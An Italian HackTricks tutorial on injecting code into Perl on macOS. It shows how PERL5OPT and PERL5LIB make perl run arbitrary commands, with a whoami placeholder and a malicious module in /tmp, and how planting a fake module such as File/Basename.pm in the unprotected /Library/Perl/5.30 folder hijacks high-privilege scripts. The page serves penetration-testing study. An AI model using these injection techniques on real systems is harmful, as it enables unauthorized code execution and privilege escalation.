4.5 KiB
Iniezione di Applicazioni Perl su macOS
Impara l'hacking su AWS da zero a esperto con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
Attraverso le variabili d'ambiente PERL5OPT
e PERL5LIB
Utilizzando la variabile d'ambiente PERL5OPT è possibile far eseguire a perl comandi arbitrari.
Ad esempio, crea questo script:
{% code title="test.pl" %}
#!/usr/bin/perl
print "Hello from the Perl script!\n";
{% endcode %}
Ora esporta la variabile di ambiente ed esegui lo script perl:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Un'altra opzione è creare un modulo Perl (ad esempio /tmp/pmod.pm
):
{% code title="/tmp/pmod.pm" %}
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
{% endcode %}
E poi utilizzare le variabili di ambiente:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
Attraverso le dipendenze
È possibile elencare l'ordine delle cartelle delle dipendenze di Perl in esecuzione:
perl -e 'print join("\n", @INC)'
Che restituirà qualcosa del genere:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Alcune delle cartelle restituite non esistono nemmeno, tuttavia, /Library/Perl/5.30
esiste, non è protetto da SIP ed è posizionato prima delle cartelle protette da SIP. Pertanto, qualcuno potrebbe abusare di quella cartella per aggiungere dipendenze di script in modo che uno script Perl ad alto privilegio le carichi.
{% hint style="warning" %} Tuttavia, nota che è necessario essere root per scrivere in quella cartella e al giorno d'oggi otterrai questo prompt TCC: {% endhint %}
Ad esempio, se uno script sta importando use File::Basename;
sarebbe possibile creare /Library/Perl/5.30/File/Basename.pm
per eseguire codice arbitrario.
References
Impara l'hacking su AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud github repos.